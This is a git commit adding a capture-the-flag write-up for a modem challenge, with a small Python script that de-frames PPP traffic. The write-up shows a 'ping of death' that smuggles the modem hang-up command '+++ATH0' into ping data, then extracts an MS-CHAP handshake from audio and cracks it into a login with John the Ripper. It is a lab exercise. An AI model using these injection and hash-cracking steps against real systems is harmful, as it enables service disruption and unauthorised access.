10
2
Fork 0
This commit is contained in:
xenia 2020-05-26 03:08:34 -04:00
parent 14044b1272
commit d5ec5327da
2 changed files with 248 additions and 0 deletions

210
comms/56k/README.md Normal file
View File

@ -0,0 +1,210 @@
# 56K Flex Magic
**Category:** Communication Systems
**Points (final):** 205
**Solves:** 13
>Anyone out there speak modem anymore? We were able to listen in to on, maybe you can ask it for a
>flag…
>
>UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the ground station is expected
>behavior.
## Write-up
by [haskal](https://awoo.systems)
An audio file is included that contains a session where a number is dialed, and then some modem data
is exchanged (it's a very distinctive sound). Additionally, there is a note included with the
following text.
```
---=== MY SERVER ===---
Phone #: 275-555-0143
Username: hax
Password: hunter2
* Modem implements a (very small) subset of 'Basic' commands as
described in the ITU-T V.250 spec (Table I.2)
---=== THEIR SERVER ===---
Ground station IP: 93.184.216.34
Ground station Phone #: 458-XXX-XXXX ...?
Username: ?
Password: ?
* They use the same model of modem as mine... could use +++ATH0
ping of death
* It'll have an interactive login similar to my server
* Their official password policy: minimum requirements of
FIPS112 (probably just numeric)
* TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
```
ITU-T V.250 is essentially a formalization of the [Hayes command
set](https://en.wikipedia.org/wiki/Hayes_command_set), so we can use basic Hayes commands to
interact with our local modem, such as
```
ATDTXXXXXXXXXX - dial number XXX...
ATH0 - hang up
+++ - get the local modem's attention while in a remote session
```
The first step is to try to get information about the ground station server. We can decode the dial
tones from the audio file, which are
[DTMF](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling) tones. Once decoded we
obtain a phone number for the ground station of `458-555-0142`. However dialing this number results
in an error - `BUSY`. Presumably, the ground station is already dialed into somewhere, and we need
to disconnect it.
The "ping of death" refers to injecting a modem command into a packet sent to a remote server in
order to cause the server's modem to interpret a hang up command contained in the packet. This can
be achieved by pinging with the data `+++ATH0`, but we need to escape it with hex to avoid having
our local modem hang up instead. Once in the session, we dial the number in the text file to get an
initial shell session
```
ATDT2755550143
```
Next, issue a ping of death to the provided server IP
```bash
ping -v 0x2b2b2b415448290d 93.184.216.34
```
Now the ground station should be disconnect so it is available for us to dial.
```
+++ATH0
ATDT45845550142
```
We get a login prompt for SATNET
```
* * . * * * . * * . * * .
. * * . * . . * . *
* +------------------------------+
. | SATNET | *
+------------------------------+ .
. | UNAUTHORIZED ACCESS IS |
| STRICTLY PROHIBITED |
. +------------------------------+ .
. .
.
Setting up - this will take a while...
LOGIN
Username:
```
However we still need the username and password. Maybe the provided audio file has the credentials
somewhere in the dialup modem exchange. By analyzing the spectrum in Audacity (or any analyzer of
choice) we discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz. This is
consistent with the [ITU V.21 standard](https://www.itu.int/rec/T-REC-V.21-198811-I/en) which uses
dual-channel Frequency Shift Keying at 300 bits/second. We can use
[minimodem](https://github.com/kamalmostafa/minimodem) to decode the modem traffic. We can provide
the two FSK frequencies (the "mark" and "space", representing each bit of the data) for channel 1
and then for channel 2 to get both sides of the exchange. We also need to provide the bit rate.
```bash
minimodem -8 -S 980 -M 1180 -f recording.wav 300
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
```
This data looks like garbage but it contains some strings, notably `rocketman2674`. We assume from
the notes file that the password is a 4-digit number, but trying the username `rocketman` and
password `2674` didn't work. We need to look closer. This is the beginning of one side of the
exchange in hex:
```hexdump
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}"
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(.
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.}
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&}
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
```
It starts with `7eff`, which is characteristic of [Point-to-Point
Protocol](https://en.wikipedia.org/wiki/Point-to-Point_Protocol). We can decode the packets with
[scapy](https://github.com/secdev/scapy), a framework for network protocol analysis. However, first
we have to de-frame the PPP frames since there doesn't seem to be a tool for this automatically.
There are two main tasks, first split up the frames by the `7e` delimiters, and then remove the byte
stuffing within the frame, since PPP will escape certain bytes with the `7d` prefix followed by the
byte XOR `0x20`. Finally, the frame can be passed to scapy for analysis. This is a VERY lax
de-framer because sometimes frames seemed to not be started or terminated properly.
def decode(ch):
buf2 = b""
esc = False
for x in ch:
if x == 0x7e:
if buf2 != b"\xFF" and buf2 != b"":
print(PPP(buf2).__repr__())
buf2 = b""
esc = False
elif esc:
esc = False
buf2 += bytes([x^0x20])
elif x == 0x7d:
esc = True
else:
buf2 += bytes([x])
if len(buf2) > 0:
print(PPP(buf2).__repr__())
Now we can see what the packets mean. In particular, we spot these ones:
```
===================== CH 1
<HDLC address=0xff control=0x3 |<PPP proto=Link Control Protocol |<PPP_LCP_Configure code=Configure-Ack id=0x2 len=28 options=[<PPP_LCP_ACCM_Option type=Async-Control-Character-Map len=6 accm=0 |>, <PPP_LCP_Auth_Protocol_Option type=Authentication-protocol len=5 auth_protocol=Challenge-response authentication protocol algorithm=MS-CHAP |>, <PPP_LCP_Magic_Number_Option type=Magic-number len=6 magic_number=77681304 |>, <PPP_LCP_Option type=Protocol-Field-Compression len=2 data='' |>, <PPP_LCP_Option type=Address-and-Control-Field-Compression len=2 data='' |>, <PPP_LCP_Callback_Option type=Callback len=3 operation=6 |>] |<Padding load='\xbe6' |>>>>
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Response id=0x0 len=67 value_size=49 value=0000000000000000000000000000000000000000000000006c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b401 optional_name='rocketman2674' |<Padding load='c\x89' |>>>
===================== CH 2
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP_ChallengeResponse code=Challenge id=0x0 len=26 value_size=8 value=12810ab88c7f1c74 optional_name='GRNDSTTNA8F6C' |<Padding load='[\x1f' |>>>
<PPP proto=Challenge Handshake Authentication Protocol |<PPP_CHAP code=Success id=0x0 len=4 data='' |<Padding load='\x1e\xe6' |>>>
```
We can see in this exchange that the client has negotiated `MS-CHAP` authentication and then
authenticates to the server successfully. MS-CHAP uses NetNTLMv1 hashes, which can be cracked very
easily. We just need the username (`rocketman2674`), the "challenge" which is used as a salt for the
hash, and the hash itself. The format of the response in MS-CHAP (according to RFC2433) is 49 bytes,
including 24 bytes of stuff we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
can now convert the data into a [John-the-Ripper](https://www.openwall.com/john/) compatible hash
like
```
username:$NETNTLM$challenge$hash
rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
```
Technically, you can use hashcat as well but I didn't want to bother with the hashcat flags. Put
this hash in a text file and run `john file.txt`. No need to specify 4 digit pins because john will
complete in literal seconds anyway.
```
Proceeding with incremental:ASCII
9435 (rocketman2674)
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
Session completed
```
Use `rocketman2674` with password `9435` to log in to the ground station, then execute the `flag`
command to get the flag.
## Resources and other writeups
* <https://en.wikipedia.org/wiki/Hayes_command_set>
* <https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling>
* <https://github.com/kamalmostafa/minimodem>
* <https://en.wikipedia.org/wiki/Point-to-Point_Protocol>
* <https://tools.ietf.org/html/rfc2433>
* <https://www.openwall.com/john/>

38
comms/56k/decode.py Normal file
View File

@ -0,0 +1,38 @@
#!/usr/bin/env python3
from scapy.all import *
with open("ch1", "rb") as f:
ch1 = f.read()
with open("ch2", "rb") as f:
ch2 = f.read()
# print(PPP(ch2[0x16a:0x186]).show())
# print(PPP(ch1[0x171:0x170+70]).show())
def decode(ch):
buf2 = b""
esc = False
for x in ch:
if x == 0x7e:
if buf2 != b"\xFF" and buf2 != b"":
print(PPP(buf2).__repr__())
buf2 = b""
esc = False
elif esc:
esc = False
buf2 += bytes([x^0x20])
elif x == 0x7d:
esc = True
else:
buf2 += bytes([x])
if len(buf2) > 0:
print(PPP(buf2).__repr__())
print("\n", "=====================", "CH 1", "\n")
decode(ch1)
print("\n", "=====================", "CH 2", "\n")
decode(ch2)